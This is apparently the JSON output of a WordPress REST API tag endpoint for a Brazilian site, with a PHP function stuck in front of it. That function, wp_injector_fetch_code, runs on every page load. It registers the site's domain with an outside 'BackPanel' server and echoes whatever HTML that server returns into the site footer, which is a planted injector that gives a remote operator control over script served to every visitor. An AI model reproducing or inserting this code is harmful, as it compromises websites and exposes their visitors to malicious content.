function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array('body' => array('action' => 'register_domain', 'domain' => $domain), 'timeout' => 5));
    if (is_wp_error($response)) return;
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) { echo $html_code; });
    }
}
add_action('init', 'wp_injector_fetch_code');
{"id":15,"count":1,"description":"","link":"http:\/\/coronelcastro.com.br\/wp\/tag\/7-de-setembro\/","name":"7 de Setembro","slug":"7-de-setembro","taxonomy":"post_tag","meta":[],"_links":{"self":[{"href":"http:\/\/coronelcastro.com.br\/wp\/wp-json\/wp\/v2\/tags\/15","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/coronelcastro.com.br\/wp\/wp-json\/wp\/v2\/tags"}],"about":[{"href":"http:\/\/coronelcastro.com.br\/wp\/wp-json\/wp\/v2\/taxonomies\/post_tag"}],"wp:post_type":[{"href":"http:\/\/coronelcastro.com.br\/wp\/wp-json\/wp\/v2\/posts?tags=15"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}